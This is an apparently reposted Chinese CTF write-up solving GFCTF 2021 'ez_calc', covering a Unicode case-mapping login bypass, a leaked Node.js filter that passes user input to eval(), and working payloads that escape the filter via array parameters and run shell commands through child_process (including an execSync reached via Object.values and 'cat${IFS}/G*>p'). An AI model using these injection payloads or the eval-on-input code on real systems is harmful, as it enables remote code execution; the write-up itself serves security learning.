[GFCTF 2021]ez_calc day3

这篇具有很好参考价值的文章主要介绍了[GFCTF 2021]ez_calc day3。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

目录

此时我脑袋产生了几个问题: 

[GFCTF 2021]ez_calc day3

但是尝试了几个弱密码发现不对,找一下有没有代码泄露的点。

[GFCTF 2021]ez_calc day3 咦发现ctrl+u查看的源码和f12显示的竟然不一样我丢,涨知识了。

js大小写有漏洞之前遇见过

<!--
        if(req.body.username.toLowerCase() !== 'admin' && req.body.username.toUpperCase() === 'ADMIN' && req.body.passwd === 'admin123'){
        // 登录成功,设置 session
        
    }
  -->

 条件就是:

在Character.toUpperCase()函数中,字符ı会转变为I,字符ſ会变为S。
在Character.toLowerCase()函数中,字符İ会转变为i,字符K会转变为k。

admın   /admin123成功登录了进去

[GFCTF 2021]ez_calc day3

发现可以执行{{3*3}}首先环境js中的模板渲染,但是还差源码这个条件呀

看看源码,,,闲着无聊翻到了最下边,竟然在这里

let calc = req.body.calc;
let flag = false;
//waf
for (let i = 0; i < calc.length; i++) {
    if (flag || "/(flc'\".".split``.some(v => v == calc[i])) {
        flag = true;
        calc = calc.slice(0, i) + "*" + calc.slice(i + 1, calc.length);
    }
}
//截取
calc = calc.substring(0, 64);
//去空
calc = calc.replace(/\s+/g, "");

calc = calc.replace(/\\/g, "\\\\");

//小明的同学过滤了一些比较危险的东西
while (calc.indexOf("sh") > -1) {
    calc = calc.replace("sh", "");
}
while (calc.indexOf("ln") > -1) {
    calc = calc.replace("ln", "");
}
while (calc.indexOf("fs") > -1) {
    calc = calc.replace("fs", "");
}
while (calc.indexOf("x") > -1) {
    calc = calc.replace("x", "");
}

try {
    result = eval(calc);

}

 上面就是一个过滤字符sh ln fs x f lc , " (等,功能

然后关键点是最后eval(calc)会进行命令执行,

some() 方法会遍历由 split() 方法生成的字符数组中的所有元素

 [GFCTF 2021]ez_calc day3

但是这里经过我自己的调试,发现只会遍历第一个元素

[GFCTF 2021]ez_calc day3 然后碰到数组3,.点发现是过滤字符这样,只会返回前面的三个值,这样就可以进行数组逃逸了

此时我脑袋产生了几个问题: 

1、如何进行命令执行呢

2、为什么不直接写一个数组进行命令执行

3、所以如何产生calc呢

calc不能直接构造恶意参数呀,能的话数组也执行不了呀 ,所以我们就需要进入那里面,需要逃逸多少个字符就定义多少个数组元素。

calc[]=require('child_process').spawnSync('ls',['/']).stdout.toString();&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=.

[GFCTF 2021]ez_calc day3

 这里本来是想的是直接, spawnSync('cat',['/GFCTF...'])多个29个但是,可能是长度的问题不能这样[GFCTF 2021]ez_calc day3

这里过滤了x,也无法直接利用exec,但是实际上这里是可以绕过的,因为我们通过require导入的模块是一个Object,那么就可以通过Object.values获取到child_process里面的各种方法,那么再通过数组下标[5]就可以得到execSync了,那么有了execSync后就可以通过写入文件的方式读取flag了,payload如下:


[GFCTF 2021]ez_calc day3

 calc[]=Object.values(require('child_process'))[5]('cat${IFS}/G*>p')&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=.

calc[]=require('child_process').spawnSync('nl',['p']).stdout.toString();&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=.

 程序将从标准输入读取数据  nl的作用文章来源地址https://www.toymoban.com/news/detail-485799.html

到了这里,关于[GFCTF 2021]ez_calc day3的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • C++day3

    1 自行封装一个栈的类,包含私有成员属性:栈的数组、记录栈顶的变量 成员函数完成:构造函数、析构函数、拷贝构造函数、入栈、出栈、清空栈、判空、判满、获取栈顶元素、求栈的大小 头文件 源文件 测试文件 测试结果 2 自行封装一个循环顺序队列的类,包含私有成员

    2024年02月08日
    浏览(35)
  • QT DAY3

    完善文本编辑器 1.mainwindow.h文件 2.mainwindow.cpp文件 打开功能展示  保存功能展示  

    2024年02月13日
    浏览(34)
  • 强化训练:day3

      今天的三个题目分别是:WY22 Fibonacci数列、NC242 单词搜索、BC140 杨辉三角。   一道非常简单的dp问题,甚至连动态转移方程都给给出了。 状态表示就是:到达第n个位置,F[n]的值为多少,状态转移方程就是:F[i] = F[i-1] + F[i-2]。 因此用一个for循环就可以解决问题了。然后

    2024年04月23日
    浏览(30)
  • 微服务学习Day3

    2024年02月20日
    浏览(42)
  • Day3力扣打卡

    链接 得到最大的整数,找到一个高位将它修改为 9。同理,想要得到最小的整数,找到一个高位将它修改为 0。 链接

    2024年02月07日
    浏览(34)
  • 蓝桥杯打卡Day3

    文章目录 吃糖果 递推数列 本题思路: 本题题意就是斐波那契数列! 本题思路: 按照题意递推即可!

    2024年02月09日
    浏览(43)
  • 【驱动开发day3作业】

    head.h  应用层代码 灯驱动代码 蜂鸣器驱动代码 风扇驱动代码 马达驱动代码  测试结果:    

    2024年02月15日
    浏览(41)
  • C高级DAY3

    思维导图   1  2  3  4 5  6  7

    2024年02月14日
    浏览(28)
  • C高级 DAY3

    shell本身是擅长运行指令,是一种弱数据类型语言 它与c语言中定义变量有所不同 注意:shell中等号两边不允许有空格,空格会被识别为一个指令 使用变量时在变量前加$ $变量名        ${变量名}         无法区分变量名时使用 不使用${变量名}   使用${变量名}  shell脚本

    2024年02月09日
    浏览(31)
  • QT day3作业

    有点不对,不能运行了,怪事 

    2024年02月15日
    浏览(37)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包